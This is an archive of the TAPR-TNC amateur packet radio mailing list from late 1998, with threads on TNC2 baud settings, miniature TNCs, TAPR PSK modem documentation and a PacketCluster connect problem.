SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
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 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
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 x - but note that binary postings are never allowed

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former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. TNC2 and the DSP-93

From: Jeff Vollin <barnie@flash.net>
Date: Tue, 01 Sep 1998 21:35:14 -0700
To: TNC SIG <tapr-tnc@tapr.org>
Message-ID: <35ECCB02.C3EE9D81@flash.net>
Rendered body type: text/plain

Quite some time ago, I ordered and assembled the TNC2 bare kit and the
DSP-93 with the intent of operating
9600 baud using the DSP93 as the modem and the TNC2 as the HDLC
generator. I have used the TNC with
my TAPR PSK modem successfully (using 1200 baud PSK from AO-16).

My question: What do I need to do to the TNC2 to set its baud rate to
9600? Do I just download the 9600 baud
modem to the DSP-93 and then the TNC will automatically sync up? Any
help would be appreciated.

Jeff Vollin
KC6WFU

3. Re: [TAPR-TNC:526] TNC2 and the DSP-93

From: "Mark L. Hammond" <hammond@camel.campbell.edu>
Date: Wed, 2 Sep 1998 07:56:21 -0400
To: tapr-tnc@tapr.org
Message-ID: <l03130300b212e23dd83a@[152.38.1.2]>

Rendered body type: text/plain

You must also set the baud on the TNC2 to 9600. On my MFJ unit, there were
dip switches on the back that allows me to do it. What I ultimately did
was to cut a trace or two on the TNC2 board near the dip switchs, and put a
big toggle switch out front so I could do switch from 1200 to 9600 more
easily.

Check the docs for your TNC2 unit. I expect most (all?) will allow you to
change it from 1200 to 9600.

73,

Mark KC4EBR

> Quite some time ago, I ordered and assembled the TNC2 bare kit and the
>DSP-93 with the intent of operating
>9600 baud using the DSP93 as the modem and the TNC2 as the HDLC
>generator. I have used the TNC with
>my TAPR PSK modem successfully (using 1200 baud PSK from AO-16).
>
>My question: What do I need to do to the TNC2 to set its baud rate to
>9600? Do I just download the 9600 baud
>modem to the DSP-93 and then the TNC will automatically sync up? Any
>help would be appreciated.
>
>Jeff Vollin
>KC6WFU

Mark L. Hammond [KC4EBR]
Campbell University

4. Re: [TAPR-TNC:526] TNC2 and the DSP-93

From: Byron Smith <wa6ylb@theworks.com>
Date: Wed, 02 Sep 1998 11:39:33
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19980902113933.2a3ff93c@theworks.com>
Rendered body type: text/plain

On the back of the tnc2, there is 8 dip switches. Reading them left to
right, the first five are the baud rate
selection of the rs232 port to your pc. (300,1200,2400,4800,9600). the
next three switches are the over the air baud rate. (300,1200,9600).

At 11:40 PM 9/1/98 -0500, you wrote:
> Quite some time ago, I ordered and assembled the TNC2 bare kit and the
>DSP-93 with the intent of operating
>9600 baud using the DSP93 as the modem and the TNC2 as the HDLC
>generator. I have used the TNC with
>my TAPR PSK modem successfully (using 1200 baud PSK from AO-16).
>
>My question: What do I need to do to the TNC2 to set its baud rate to
>9600? Do I just download the 9600 baud
>modem to the DSP-93 and then the TNC will automatically sync up? Any
>help would be appreciated.
>
>Jeff Vollin
>KC6WFU
>
>
Byron Smith
wa6ylb@theworks.com - Website: theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

If a turtle doesn't have a shell, is he homeless or naked?

5. Re: [TAPR-TNC:528] Re: TNC2 and the DSP-93

From: Jeff Vollin <barnie@flash.net>
Date: Fri, 04 Sep 1998 12:22:36 -0700
To: tapr-tnc@tapr.org
Message-ID: <35F03DFC.B09A451D@flash.net>
Rendered body type: text/plain

Thanks all for the response.

Jeff

Byron Smith wrote:

> On the back of the tnc2, there is 8 dip switches. Reading them left to
> right, the first five are the baud rate
> selection of the rs232 port to your pc. (300,1200,2400,4800,9600). the
> next three switches are the over the air baud rate. (300,1200,9600).
>
> At 11:40 PM 9/1/98 -0500, you wrote:
> > Quite some time ago, I ordered and assembled the TNC2 bare kit and the
> >DSP-93 with the intent of operating
> >9600 baud using the DSP93 as the modem and the TNC2 as the HDLC
> >generator. I have used the TNC with
> >my TAPR PSK modem successfully (using 1200 baud PSK from AO-16).
> >
> >My question: What do I need to do to the TNC2 to set its baud rate to
> >9600? Do I just download the 9600 baud
> >modem to the DSP-93 and then the TNC will automatically sync up? Any
> >help would be appreciated.
> >
> >Jeff Vollin
> >KC6WFU
> >
> >
> Byron Smith
> wa6ylb@theworks.com - Website: theworks.com/~wa6ylb
> wa6ylb@wa6ylb.#cca.ca.usa.noam
>
> If a turtle doesn't have a shell, is he homeless or naked?

October 1998

Original source file: tapr-tnc.9810
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9810

1. (no subject)

```
From: Howard Goldstein <hg@penny.n2wx.ampr.org>
Date: Thu, 1 Oct 1998 00:00:02 -0400
To: tapr-tnc@tapr.org
Message-ID: <199810010400.AAA01111@penny.n2wx.ampr.org>
Rendered body type: text/plain
```

```
Welcome to the Tucson Amateur Packet Radio TAPR-TNC SIG
               ----------------------------------------

This message will be posted on the first of each month.
Last updated: 1 June 96
Last sent: 1st of last month

ADMINISTRIVIA
*************

To Unsubscribe:
---------------
To leave the TAPR-TNC SIG, please send a message to

     listproc@tapr.org

with a blank subject.  In the body of your message, write

     SIGNOFF TAPR-TNC


For help with the listproc
--------------------------
The list processor TAPR runs has many interesting features.  Please check
them out at your leisure.  To find out how to access them, send a message
to

    listproc@tapr.org

with a blank subject.  In the message body write

    HELP


Posting rejected?
-----------------
This mailing list accepts postings only from subscribers.  If a post is
ever rejected please contact <n2wx@tapr.org> directly; your system
administrator probably changed an element of your email address and the
listproc's records will need to be updated to enable posting.


Problems with your internet provider?
-------------------------------------

To conserve TAPR server resources, unrecoverable mail errors (in my
experience, typically caused by someone hosing the provider's nameserver
or by weird internet mail gateways like cc-mail or MSMAIL) will result in
your subscription being set to POSTPONE.  This should be extremely
unlikely but if it happens, DO NOT PANIC:  Simply send a message to
LISTPROC@TAPR.ORG and in the body of the message write

SET TAPR-TNC MAIL ACK

to resume receiving the TAPR-TNC mailing list

If at any time you suspect you may be in a POSTPONEd state, feel
free to send the above SET message to remind the server about
your ability to receive mail.

************************
  Statement of Purpose
************************

This SIG is intended to be a low volume, high s/n place to discuss issues
related to use of the TAPR (and clone) TNCs.  It is not moderated. Please
```

try remain on topic and use discretion to help keep up the s/n ratio.

The following subjects with respect to TNC-1 and TNC-2 and their clones
are "on topic":

 o - Hardware bugs, problems, mods
 o - Firmware bugs, problems, patches
 o - TAPR documentation
 o - Interface issues
 o - Announcements of the above
 o - Suggestions for enhancements
 o - and anything else reasonably resembling the above
 x - but note that binary postings are never allowed

Although packet radio novices are invited to join, this is probably the
wrong place to post new user questions. Faster and more complete replies
to new user questions are more likely to be found in one of the many
newsgroups in the USENET rec.radio.amateur.* hierarchy, particularly in
the rec.radio.amateur.digital.misc newsgroup.

This is also the wrong place to debate the merits of various manufacturer
offerings or to elicit suggestions about "Which TNC should I purchase?"

At times, you may find your post is relevant to one of the other fine TAPR
SIGs as well as this one. Initial crossposting is not necessarily a bad
idea. Use your judgment.

Spirited, lively discussion is invited but flames will be promptly
extinguished. The list owner reserves the right to deal with flames and
off-topic posts from a stance gauranteed to lie somewhere between complete
arbitrariness and Solomonesque. Hopefully more of the latter than the
former.

Other resources

TAPR maintains both file archives and a World Wide Web server that may
contain answers to questions you have...and maybe some you have but didn't
realize you had. You can access these resources with:

   ftp to ftp.tapr.org   /tapr/...

   WWW to http://www.tapr.org/tapr/
                          and
           http://www.tapr.org/tapr/html/pkthome.html

73 Howie N2WX

2. Fwd: (Form) Comments from your Home Page from

From: "Greg Jones, WD5IVD" <wd5ivd@tapr.org>
Date: Thu, 15 Oct 1998 08:00:37 -0500
To: "NETSIG list   mailing"<netsig@tapr.org>, " tapr-tnc "<tapr-tnc@tapr.org>
Message-ID: <v04011707b24ba23dc918@[128.83.74.103]>
Rendered body type: text/plain

Maybe someone can help John.

SEND E-MAIL back to his address: jascott@ix.netcom.com

>Date: Wed, 14 Oct 1998 21:43:03 -0500
>To: wd5ivd@tapr.org
>From: jascott@ix.netcom.com
>Subject: (Form) Comments from your Home Page from
>Mime-Version: 1.0
>Status:
>
>Name: John A Scott
>Callsign: KA8FSM
>Email: jascott@ix.netcom.com
>
>Address: 16212 Walcot Lane
>
>City: Cornelius, NC 28031 USA
>

>
>---Comments---
>The Carolina DX Association has been experiencing a rather elusive problem
>
>with its DX PacketCluster system. A copy of correspondence is appended below.
>
>The problem is characterized by the control node responding with the welcome
>
>screen only to have the station logging in immediately return a "DM" frame to
>
>which the control node disconnects. This seems to have no bearing on signal
>
>strength or relative direction from the control node. Some stations
>
>never have the problem, some sometimes do, and some never do. Hopefully,
>
>some of the guru's who frequent the TAPR pages will have some ideas.
>
>   --Stumped in the Carolinas   John Scott   KA8FSM
>
>
>
>
>
>------------------------
>
>Attachment:
>
>
>
>While there have been a number of problems with both the digi and N4ZC
>
>node, some may in fact all be tied to the user connect problem.
>
>
>
>The node operated fine for over 5 years. Over that period we made small
>
>changes in user and node TNC parameters to the point I had 20-24 users on
>
>a normal evening. While the odd station got disconnected, for the most
>
>part they all stayed connected and had no problem connecting.
>
>
>
>About 11 months ago we started having much higher user disconnect
>
>problems along with user connect problems. While we didn't know at first
>
>what the problem was, we finnaly found out that in almost all cases the
>
>user was in fact telling the node to disconnect them soon after the
>
>connect request.
>
>
>
>In most cases the user sends the connect request......the node sends the
>
>Hi Welcome message and in most cases, before the user gets the prompt
>
>line, he sends a DM frame. There are about 5 or 6 users that NEVER EVER
>
>have the connect problem. some users have it EVERY time they try to
>
>connect and the majority have it most, but not all the time. Those that
>
>have the problem may have it happen for hours or days and may be able to
>
>connect some hours or days later.
>
>
>
>One user, only 7 miles away, tried to connect 21 times in a row with the
>
>same neg result. He tried a few minutes later, connected OK, and stayed
>
>connected round the clock for the next 2 days. While this was going on,

>
>some users out over 30 miles were staying connected OK. At a later time
>
>that night, some of those connected users got disconnected and couldn't
>
>reconnect due to the same "DM" problem. This kind of thing has gone on
>
>day after day, week after week, month after month.
>
>
>
>The problem NEVER happens when trying to make node connections.
>
>(cluster to cluster)
>
>
>
>Those users that have the problem, who can connect to the nodes on either
>
>side of N4ZC, connect to those nodes the FIRST TIME, EVERY TIME.
>
>
>
>What have we done to work on the problem.......in no special order.
>
>
>
>We've used other stations to monitor what the node and users send to each
>
>other on connect requests. In each case, there is no indication of
>
>anything that the node sends to cause the user to send the DM frame.
>
>
>
>Both the node, and users, have listened on the freq for hours and hours
>
>and find no other signals that could cause problems.
>
>
>
>Even tho there was no indication of any kind of QRM or intermod, we
>
>bought and put a bandpass filter in the line. It had no effect on the
>
>problem.
>
>
>
>Some have said the problem might be "white noise". I really doubt this
>
>because there are times a user 2 miles from the node can't connect while
>
>users out 30 miles stay connected. If it was white noise strong enough to
>
>keep a 2 mile distant station from connecting, it would cause a
>
>disconnect to the distant users.
>
>
>
>Even tho we hear nothing on the frequency that sounds like it could be a
>
>problem, we've tried 3 other frequencies just to make sure it isn't the
>
>frequency. We've had the same problem on each frequency.
>
>
>
>For those that think it is TNC parameter problems, it was working fine
>
>with 20-24 users before the problem started. There were no changes to
>
>node parameters. The problem happens at times with no stations connected
>
>and only one station trying to connect. We would have to have really bad
>
>parameters to cause the problem to show up with only one user trying to
>

>connect.
>
>
>
>We have checked a number of times to make sure the node has the correct
>
>deviation.
>
>
>
>Some SYSOPS suggested we drop back from BPQ ver 4.08 to 4.06. That had no
>
>effect on the problem.
>
>
>
>We reloaded PACKCLUS to make sure that wasn't the problem. We changed the
>
>TNC, radio and antenna with no change in the problem.
>
>
>
>K4QO got another copy of PACKCLUS.EXE, made up all new files on his spare
>
>computer to make sure there could be no contamination. He brought that
>
>computer, another TNC and radio to the N4ZC QTH. We still have the same
>
>GD problem with the new equipment.
>
>
>
>OK Doug, I may have forgot some things but I guess that covers it.
>
>73 Rog
>
>
>
>1.   The problem happens on direct connects and also coming thru a digi
>
>with input on two (2) meters and output on 440 MHz.
>
>
>
>2.   Installation of another cluster, which has been tested at another
>
>location gave same results. The instalitation of the other cluster, was
>
>with computer, tnc, radio. Used the same antenna and power supply.
>
>
>
>3.   The cluster has a 2400 baud backbone circuit on two (2) meters which
>
>works with no problems. A Cluster/node that connects on 145.750 @ 2400 baud
>
>cannot connect on the 144.93 frequency at 1200 baud using a -7 on the call.
>
>Also this same station cannot conect thru a digi with an input on 2 mtrs and
>
>the ontput on 440.
>
>
>
>4.   The users that cannot connect to this node, connect to another node
>
>and experience no problems there.
>
>
>
>5.   The problem appears to be Call Sign sensitive. The stations that
>
>cannot connect, are able to connect using another call sign.
>
>
>
>6.   If anyone has and ideas, please answer direct to me at either of the
>
>following Email addresses. If and when a solution is found I will put it on

>
>the reflector.
>
>
>
>
>
>73 Doug/K4QO
>
>
>
>

Greg Jones, WD5IVD   Austin, Texas
wd5ivd@tapr.org   http://www.tapr.org/~wd5ivd

3. miniture TNC and NT Software

From: KSchmidt@t-online.de (Karl Schmidt)
Date: Wed, 21 Oct 1998 19:25:06 +0200
To: tapr-tnc@tapr.org
Message-ID: <m0zW20Q-0004uCC@fwd06.btx.dtag.de>
Rendered body type: text/plain

hello Packet friends,

I am looking for TNC software for my NT notebook.
Siince I am travelling very often, I would like to have a very
compact solution to do packet via the 70 cm mailboxes and digis,
that is, possibly without external TNC, which needs also an extra
power supply etc. In other words, I am looking for a miniture solution
for a TNC without too much cabling and little size.
That could be:
either a software solution of AX.25,
using just a mini-modem inside the RS-232 plug
or
a TNC which might fit into a RS232 plug, using the power supply from the RS-232
or any other external miniature TNC solution
or
a TNC put on a PC card (PCMCIA format)
or
a small TNC board which fits inside the notebook?

Any hint or product name would be appreciated.

73, Karl
DK5EC@DB0MKA and @all satellites

-         ////   Gruesse aus Koenigswinter
-        (o o)   Karl Schmidt <KSchmidt@t-online.de>
------mm--(_)--mm---

4. Re: [TAPR-TNC:532] miniture TNC and NT Software

From: Byron Smith <wa6ylb@theworks.com>
Date: Wed, 21 Oct 1998 14:03:53
To: tapr-tnc@tapr.org
Message-ID: <3.0.1.16.19981021140353.0c1fa0c8@theworks.com>
Rendered body type: text/plain

Gee. Heathkit made one, an HK-21 that was very tiny - like about cigarettes
package size. Maybe this is what you want?

At 01:15 PM 10/21/98 -0500, you wrote:
>hello Packet friends,
>
>I am looking for TNC software for my NT notebook.
>Siince I am travelling very often, I would like to have a very
>compact solution to do packet via the 70 cm mailboxes and digis,
>that is, possibly without external TNC, which needs also an extra
>power supply etc. In other words, I am looking for a miniture solution
>for a TNC without too much cabling and little size.
>That could be:
>either a software solution of AX.25,
>using just a mini-modem inside the RS-232 plug
>or
>a TNC which might fit into a RS232 plug, using the power supply from the
RS-232
>or any other external miniature TNC solution

>or
>a TNC put on a PC card (PCMCIA format)
>or
>a small TNC board which fits inside the notebook?
>
>Any hint or product name would be appreciated.
>
>73, Karl
>DK5EC@DB0MKA and @all satellites
>
>
>-   ////   Gruesse aus Koenigswinter
>-   (o o)   Karl Schmidt <KSchmidt@t-online.de>
>------mm--(_)--mm---
>
>
Byron Smith
wa6ylb@theworks.com - Website: theworks.com/~wa6ylb
wa6ylb@wa6ylb.#cca.ca.usa.noam

If a turtle doesn't have a shell, is he homeless or naked?

5. Re: [TAPR-TNC:532] miniture TNC and NT Software

From: Sid Ashen-Brenner <sashen@midusa.net>
Date: Wed, 21 Oct 1998 17:55:43 -0500
To: tapr-tnc@tapr.org
Message-ID: <3.0.32.19981021175437.00687dec@mail.midusa.net>
Rendered body type: text/plain

At 01:15 PM 10/21/1998 -0500, you wrote:
>hello Packet friends,
>
>I am looking for TNC software for my NT notebook.
>Siince I am travelling very often, I would like to have a very
>compact solution to do packet via the 70 cm mailboxes and digis,
>that is, possibly without external TNC, which needs also an extra
>power supply etc. In other words, I am looking for a miniture solution
>for a TNC without too much cabling and little size.
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>either a software solution of AX.25,
>using just a mini-modem inside the RS-232 plug
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>a TNC which might fit into a RS232 plug, using the power supply from the
RS-232
>or any other external miniature TNC solution
>or
>a TNC put on a PC card (PCMCIA format)
>or
>a small TNC board which fits inside the notebook?
>
>Any hint or product name would be appreciated.
>
>73, Karl
>DK5EC@DB0MKA and @all satellites

Perhaps you should check out Kenwood's new TH-D7A dual band HT with TNC
built in?

Details (I think) at http://www.kenwood.net

        73 de Sid   n0obm

Sid Ashen-Brenner   Salina, Ks.   Monitor Service Co.
Internet : sashen@midusa.net
AX-25 : n0obm @ n0obm.#ncks.ks.usa.noam

6. TAPR PSK Modem?

From: "Fernando M. I. Carreiro" <fmi@carreiro.com>
Date: Thu, 22 Oct 1998 00:52:09 +0100
To: <dsp@tapr.org>, <tapr-tnc@tapr.org>, <hfsig@tapr.org>
Message-ID: <005501bdfd4e$0dc48020$e6ffa8c0@pc001>
Rendered body type: text/plain

I am looking for information and technical specifications on the old TAPR PSK Modem. Can anyone perhaps
tell me, from where I can download such information. I am particularly interested in the "costas loop"
used for carrier recovery.
    Thank you and regards,

Fernando M. I. Carreiro

mailto:fmi@carreiro.com
http://www.fmi.carreiro.com
callsign:ZS6BLF

7. Re: [TAPR-TNC:533] Re: miniture TNC and NT Software

From: Bob Nielsen <nielsen@primenet.com>
Date: Wed, 21 Oct 1998 21:15:26 -0700 (MST)
To: tapr-tnc@tapr.org
Message-ID: <Pine.LNX.4.04.9810212112350.8221-100000@nielsen.tus.primenet.com>
Rendered body type: text/plain

That was actually made by Tasco. They are still in business and although
they do not sell TNCs in the U.S., they may be available in Europe. In
addition to the u-21 (like the HK-21), I believe they had a later model.
The TNC-211 was a little larger, but still quite small. PacComm has some
small models also.

Bob

On Wed, 21 Oct 1998, Byron Smith wrote:

> Gee. Heathkit made one, an HK-21 that was very tiny - like about cigarettes
> package size. Maybe this is what you want?
>
>
> At 01:15 PM 10/21/98 -0500, you wrote:
> >hello Packet friends,
> >
> >I am looking for TNC software for my NT notebook.
> >Siince I am travelling very often, I would like to have a very
> >compact solution to do packet via the 70 cm mailboxes and digis,
> >that is, possibly without external TNC, which needs also an extra
> >power supply etc. In other words, I am looking for a miniture solution
> >for a TNC without too much cabling and little size.
> >That could be:
> >either a software solution of AX.25,
> >using just a mini-modem inside the RS-232 plug
> >or
> >a TNC which might fit into a RS232 plug, using the power supply from the
> RS-232
> >or any other external miniature TNC solution
> >or
> >a TNC put on a PC card (PCMCIA format)
> >or
> >a small TNC board which fits inside the notebook?
> >
> >Any hint or product name would be appreciated.
> >
> >73, Karl
> >DK5EC@DB0MKA and @all satellites
> >
> >
> >-   ////   Gruesse aus Koenigswinter
> >-   (o o)   Karl Schmidt <KSchmidt@t-online.de>
> >------mm--(_)--mm--
> >
> >
> Byron Smith
> wa6ylb@theworks.com - Website: theworks.com/~wa6ylb
> wa6ylb@wa6ylb.#cca.ca.usa.noam
>
> If a turtle doesn't have a shell, is he homeless or naked?
>
>

Bob Nielsen   Internet: nielsen@primenet.com
Tucson, AZ   AMPRnet: w6swe@w6swe.ampr.org
DM42nh   http://www.primenet.com/~nielsen

8. Re: [TAPR-TNC:532] miniture TNC and NT Software

From: malberts@ncs.com.na (Mike Alberts)
Date: Thu, 22 Oct 1998 07:58:28 +0200
To: tapr-tnc@tapr.org
Message-ID: <362EC984.F74FBE88@ncs.com.na>
Rendered body type: text/plain

Hi All,

You might consider the very well and compact Baycom tnc.....a very small modem but
works well......I used it all the time due to it's compact size and it uses power
from the rs232 port...software runs under the dos command and it works in
win95/98....it will work under NT

Can ayone get in touch with me.....I am setting up a gateway for Amateurs in
Namibia and need assistance..
73's to all

Mike
malberts@ncs.com.na

Karl Schmidt wrote:

> hello Packet friends,
>
> I am looking for TNC software for my NT notebook.
> Siince I am travelling very often, I would like to have a very
> compact solution to do packet via the 70 cm mailboxes and digis,
> that is, possibly without external TNC, which needs also an extra
> power supply etc. In other words, I am looking for a miniture solution
> for a TNC without too much cabling and little size.
> That could be:
> either a software solution of AX.25,
> using just a mini-modem inside the RS-232 plug
> or
> a TNC which might fit into a RS232 plug, using the power supply from the RS-232
> or any other external miniature TNC solution
> or
> a TNC put on a PC card (PCMCIA format)
> or
> a small TNC board which fits inside the notebook?
>
> Any hint or product name would be appreciated.
>
> 73, Karl
> DK5EC@DB0MKA and @all satellites
>
> -   ////   Gruesse aus Koenigswinter
> -   (o o)   Karl Schmidt <KSchmidt@t-online.de>
> ------mm--(_)--mm---

9. TAPR PSK Modem? (HTML Removed)

From: "Fernando M. I. Carreiro" <fmi@carreiro.com>
Date: Thu, 22 Oct 1998 16:05:57 +0100
To: <dsp@tapr.org>, <tapr-tnc@tapr.org>, <hfsig@tapr.org>
Message-ID: <003801bdfdd0$2e90ac20$e6ffa8c0@pc001>
Rendered body type: text/plain

I am looking for information and technical specifications on the old TAPR
PSK Modem. Can anyone perhaps tell me, from where I can download such
information. I am particularly interested in the "costas loop" used for
carrier recovery.
    Thank you and regards,

Fernando M. I. Carreiro
mailto:fmi@carreiro.com
http://www.fmi.carreiro.com
callsign:ZS6BLF

10. Re: [TAPR-TNC:532] miniture TNC and NT Software

From: Wolfgang Baron Papesch <wbaron@hondutel.hn>
Date: Thu, 22 Oct 1998 13:41:12 -0600
To: tapr-tnc@tapr.org
Message-ID: <199810221339.NAA03579@miraf-server2.hondutel.hn>
Rendered body type: text/plain

At 13:15 21/10/1998 -0500, you wrote:
>hello Packet friends,
>
>I am looking for TNC software for my NT notebook.
>Siince I am travelling very often, I would like to have a very
>compact solution to do packet via the 70 cm mailboxes and digis,
>that is, possibly without external TNC, which needs also an extra
>power supply etc. In other words, I am looking for a miniture solution
>for a TNC without too much cabling and little size.
>That could be:
>either a software solution of AX.25,
>using just a mini-modem inside the RS-232 plug

>or
>a TNC which might fit into a RS232 plug, using the power supply from the
RS-232
>or any other external miniature TNC solution
>or
>a TNC put on a PC card (PCMCIA format)
>or
>a small TNC board which fits inside the notebook?
>
>Any hint or product name would be appreciated.
>
>73, Karl
>DK5EC@DB0MKA and @all satellites
>
>
>-   ////   Gruesse aus Koenigswinter
>-   (o o)   Karl Schmidt <KSchmidt@t-online.de>
>------mm--(_)--mm---
>
>Hallo Karl, warum versuchst Du es nicht mit Baycom?
>Viele Gruesse aus Honduras - HR1BY - Wolfgang

11. Re: [TAPR-TNC:538] TAPR PSK Modem? (HTML Removed)

From: Jeff Vollin <barnie@flash.net>
Date: Sun, 25 Oct 1998 00:02:40 -0700
To: tapr-tnc@tapr.org
Message-ID: <3632CD0F.5B3FF8C2@flash.net>
Rendered body type: text/plain

The September 1987 issue of QEX had a fairly complete article on the TAPR PSK
modem.
This may be the easiest for you to find if you have a good library nearby. I
assume you have
already queried TAPR about the docs? I have the QEX article as well as the
assembly manual.
I could mail a copy to you if your library does not come through.

Jeff Vollin, kc6wfu

Fernando M. I. Carreiro wrote:

> I am looking for information and technical specifications on the old TAPR
> PSK Modem. Can anyone perhaps tell me, from where I can download such
> information. I am particularly interested in the "costas loop" used for
> carrier recovery.
>   Thank you and regards,
> ---
> Fernando M. I. Carreiro
> mailto:fmi@carreiro.com
> http://www.fmi.carreiro.com
> callsign:ZS6BLF

12. Re: [TAPR-TNC:540] Re: TAPR PSK Modem?

From: "Fernando M. I. Carreiro" <fmi@carreiro.com>
Date: Sun, 25 Oct 1998 15:48:30 -0000
To: <tapr-tnc@tapr.org>, "Jeff Vollin" <barnie@flash.net>
Message-ID: <000001be0033$ac0392c0$e6ffa8c0@pc001>
Rendered body type: text/plain

Thank you for the Info. I have queried TAPR via E-Mail twice now, and I
have as of yet not received any response from them. Although I still
hold a South African Callsign, I am currently living in Portugal and
none of the nearby libraries have ARRL's QEX magazines. I would greatly
appreciate it if you could mail me a copy of the said material, or if
possible E-Mail me a scanned copy of it in AWF, TIFF, PDF, etc.

Thank you and regards,

        Fernando M. I. Carreiro
        Rua das Tilias, 39-1
        Pinhal do Vidal
        2855 Corroios
        Portugal

mailto:fmi@carreiro.com
http://www.fmi.carreiro.com
callsign:ZS6BLF

-----Original Message-----
From: Jeff Vollin <barnie@flash.net>
To: tapr-tnc@tapr.org <tapr-tnc@tapr.org>
Date: Sunday, 25 October, 1998 08:21
Subject: [TAPR-TNC:540] Re: TAPR PSK Modem? (HTML Removed)

> The September 1987 issue of QEX had a fairly complete article on the
> TAPR PSK modem. This may be the easiest for you to find if you have
> a good library nearby. I assume you have already queried TAPR about
> the docs? I have the QEX article as well as the assembly manual. I
> could mail a copy to you if your library does not come through.
>
> Jeff Vollin, kc6wfu
>
> Fernando M. I. Carreiro wrote:
>
>> I am looking for information and technical specifications on the
>> old TAPR PSK Modem. Can anyone perhaps tell me, from where I can
>> download such information. I am particularly interested in the
>> "costas loop" used for carrier recovery.
>>
>> Thank you and regards, Fernando M. I. Carreiro

13. Re: [TAPR-TNC:533] Re: miniture TNC and NT Software

From: Ulf.Kumm@t-online.de (Ulf Kumm)
Date: Thu, 22 Oct 1998 14:01:29 +0200
To: tapr-tnc@tapr.org
Message-ID: <362F1E99.37B0@symek.com>
Rendered body type: text/plain

> >I am looking for ... a miniture solution
> >for a TNC without too much cabling and little size.

There exists a TNC2 compatible solution which is only
68 x 86 x 10 mm in size and contains a complete TNC2
with 32k RAM, 32k EPROM, TNC3105 1200 Baud AFSK modem.

We have developed this for commercial use and there
are some pieces left.

Connection via a 10 wire ribbon cable to a internal
smd connector: mic, spk, ptt, 8..15V, txd, rxd, etc.
Baudrate RS232 9600Bd (jumpers for other speeds)

73! Ulf

Ulf Kumm, DK9SJ Joh.-Kraemer-Str. 34; D-70597 Stuttgart
eMail: ulf@symek.com, Homepage: http://symek.com

14. Re: [TAPR-TNC:542] Re: miniture TNC and NT Software

From: "JOHN WHITE" <jwhite@unt.edu>
Date: Wed, 28 Oct 1998 11:26:42 CST6CDT
To: tapr-tnc@tapr.org
Message-ID: <199810281728.LAA05208@Mercury.unix.acs.cc.unt.edu>
Rendered body type: text/plain

Hi Ulf;

    I just noticed your post and I may have an application for those
tncs. please send by email details and prices. Also is this unit
8751 based? We use 8751 and 3105's already in your applications
for remote monitoring for scientific purposes.

Thanks

John White
email: jwhite@unt.edu
fax 940-565-1877 voice 940-565-4835

> Date: Tue, 27 Oct 1998 02:40:23 -0600 (CST)
> Reply-to: tapr-tnc@tapr.org
> From: Ulf.Kumm@t-online.de (Ulf Kumm)
> To: tapr-tnc@tapr.org

> Subject: [TAPR-TNC:542] Re: miniture TNC and NT Software

> > >I am looking for ... a miniture solution
> > >for a TNC without too much cabling and little size.
>
> There exists a TNC2 compatible solution which is only
> 68 x 86 x 10 mm in size and contains a complete TNC2
> with 32k RAM, 32k EPROM, TNC3105 1200 Baud AFSK modem.
>
> We have developed this for commercial use and there
> are some pieces left.
>
> Connection via a 10 wire ribbon cable to a internal
> smd connector: mic, spk, ptt, 8..15V, txd, rxd, etc.
> Baudrate RS232 9600Bd (jumpers for other speeds)
>
> 73! Ulf
> --
> Ulf Kumm, DK9SJ Joh.-Kraemer-Str. 34; D-70597 Stuttgart
> eMail: ulf@symek.com,   Homepage: http://symek.com
>
>
>

November 1998

Original source file: tapr-tnc.9811
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9811

1. (no subject)

```
From: jtennant@sbccom.com (Jacob Tennant)
Date: Fri, 20 Nov 1998 09:30:39 -0500
To: <tapr-tnc@tapr.org>
Message-ID: <19981120142609075.AAA212@wvu.edu.wvu.edu>
Rendered body type: text/plain
```

TEST MESSAGE

December 1998

Original source file: tapr-tnc.9812
Source: http://ftp.tapr.org/tapr_history/SIG_Archives/tapr-tnc/mail_archive/tapr-tnc.9812

1. AEA PK-80

From: CoralBayFL@aol.com
Date: Sun, 20 Dec 1998 07:43:53 EST
To: tapr-tnc@tapr.org
Message-ID: <46f1cf5c.367cf109@aol.com>
Rendered body type: text/plain

Does anyone have a set of docs for this unit that they would sell or copy for
a fee?

Thanks!

---

2. Re: [TAPR-TNC:545] AEA PK-80

From: Byron Smith <wa6ylb@theworks.com>
Date: Sun, 20 Dec 1998 09:13:16 -0800
To: tapr-tnc@tapr.org
Message-ID: <4.1.19981220091234.00cd48e0@mail.theworks.com>
Rendered body type: text/plain

This unit is "exactly" a tapr 2 rev 2 tnc. I believe some of the docs are on
Tapr.org web site.

If not, contact me directly.

At 06:48 AM 12/20/98 -0600, you wrote:
>Does anyone have a set of docs for this unit that they would sell or copy for
>a fee?
>
>Thanks!

---

3. Re: [TAPR-TNC:546] Re: AEA PK-80

From: CoralBayFL@aol.com
Date: Sun, 20 Dec 1998 18:20:38 EST
To: tapr-tnc@tapr.org
Message-ID: <2e1acf72.367d8646@aol.com>
Rendered body type: text/plain

Hi Byron!

Thanks for the reply!

Thanks for the reply! Basicly, I'm trying to find out how the dip switches
need to be set and how fast this can go. It seems to have a ROM in it called
NET/ROM. When I connect the PK-80 to my PC XT using procomm, I get a message
back "The Net Plus 2.08 (N7VUV-2). DOes this Rom allow me to operate normal
packet and allow me to access packet BBS's, and will it send this N7VUV-2 call
sign each time. I am brand new to packet and I got this unit used and was
assured it was in good working condition. Just not sure how to work it.

Thanks!

---

4. New SIG for the Kenwood THD7A/E

From: "Horzepa, Stan" <Stan_Horzepa@adc.com>
Date: Wed, 30 Dec 1998 12:57:46 -0600
To: AO16APRS <ao16aprs@tapr.org>, APRS-FL <aprs-fl@tapr.org>,
        APRSNEWS
 <aprsnews@tapr.org>, APRSSIG <aprssig@tapr.org>,
        BBSSIG
 <bbssig@tapr.org>, DSP sig <dsp@tapr.org>,
